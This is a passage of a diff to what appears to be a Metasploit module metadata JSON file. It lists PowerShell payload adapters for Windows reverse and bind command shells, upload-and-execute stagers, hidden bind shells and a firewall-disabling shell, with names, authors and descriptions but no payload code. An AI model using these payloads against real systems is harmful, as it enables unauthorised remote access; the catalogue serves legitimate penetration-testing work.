", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", "references": [ ], @@ -182887,18 +201867,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", "aliases": [ ], @@ -182907,14 +201893,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "mihi", - "RageLtMan" + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -182927,18 +201910,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/shell/reverse_nonx_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", "aliases": [ ], @@ -182947,12 +201936,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "OJ Reeves" + "spoonm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -182965,18 +201952,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/shell/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", + "payload_cmd/windows/powershell/shell/reverse_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", "aliases": [ ], @@ -182985,10 +201978,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", + "spoonm ", + "sf ", + "hdm ", "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183001,18 +201996,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/find_tag", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp" }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { + "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", "aliases": [ ], @@ -183021,12 +202022,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ ], @@ -183039,18 +202040,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", "aliases": [ ], @@ -183059,11 +202066,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", + "spoonm ", + "sf ", + "hdm ", "skape ", - "vlad902 " + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183076,18 +202085,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", "aliases": [ ], @@ -183096,11 +202111,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", + "spoonm ", + "sf ", + "hdm ", "skape ", - "spoonm " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183113,18 +202131,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", "aliases": [ ], @@ -183133,12 +202157,101 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", + "spoonm ", + "sf ", + "hdm ", "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4_dns" + }, + "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "spoonm ", + "sf ", "hdm ", - "sf " + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_uuid" + }, + "payload_cmd/windows/powershell/shell/reverse_udp": { + "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "spoonm ", + "sf ", + "RageLtMan " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -183151,18 +202264,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_udp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_udp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_udp" }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", + "payload_cmd/windows/powershell/shell_bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", "aliases": [ ], @@ -183171,12 +202290,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "vlad902 ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", "references": [ ], @@ -183189,18 +202306,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", + "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { + "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", "aliases": [ ], @@ -183209,13 +202330,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "RageLtMan" + "Lin0xx " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", "references": [ ], @@ -183228,18 +202345,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/shell_bind_tcp_xpfw", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_bind_tcp_xpfw", + "staged": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", + "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", "aliases": [ ], @@ -183248,14 +202369,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "mihi", - "RageLtMan" + "vlad902 ", + "sd", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from certain IP and spawn a command shell.\nThe shellcode will reply with a RST packet if the connections is not\ncoming from the IP defined in AHOST. This way the port will appear\nas \"closed\" helping us to hide the shellcode.", "references": [ ], @@ -183268,18 +202386,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/shell_hidden_bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_hidden_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/shell_reverse_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", "aliases": [ ], @@ -183288,14 +202410,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "mihi", - "RageLtMan" + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", "references": [ ], @@ -183308,18 +202426,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/shell_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "payload_cmd/windows/powershell/speak_pwned": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/speak_pwned", "aliases": [ ], @@ -183328,12 +202450,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "OJ Reeves" + "Berend-Jan \"SkyLined\" Wever " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ ], @@ -183346,18 +202465,22 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/speak_pwned", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/speak_pwned", + "staged": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -183366,13 +202489,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ ], @@ -183385,18 +202508,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", "aliases": [ ], @@ -183405,13 +202534,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ ], @@ -183424,18 +202553,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", + "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", "aliases": [ ], @@ -183444,12 +202579,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", "references": [ ], @@ -183462,18 +202597,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -183482,13 +202623,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ ], @@ -183501,18 +202642,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "payload_cmd/windows/powershell/upexec/bind_named_pipe": { + "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", "aliases": [ ], @@ -183521,11 +202668,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", "references": [ ], @@ -183538,18 +202685,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "ref_name": "cmd/windows/powershell/upexec/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_named_pipe", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_named_pipe" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", "aliases": [ ], @@ -183558,11 +202711,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "vlad902 " + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", "references": [ ], @@ -183575,18 +202727,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_nonx_tcp", + 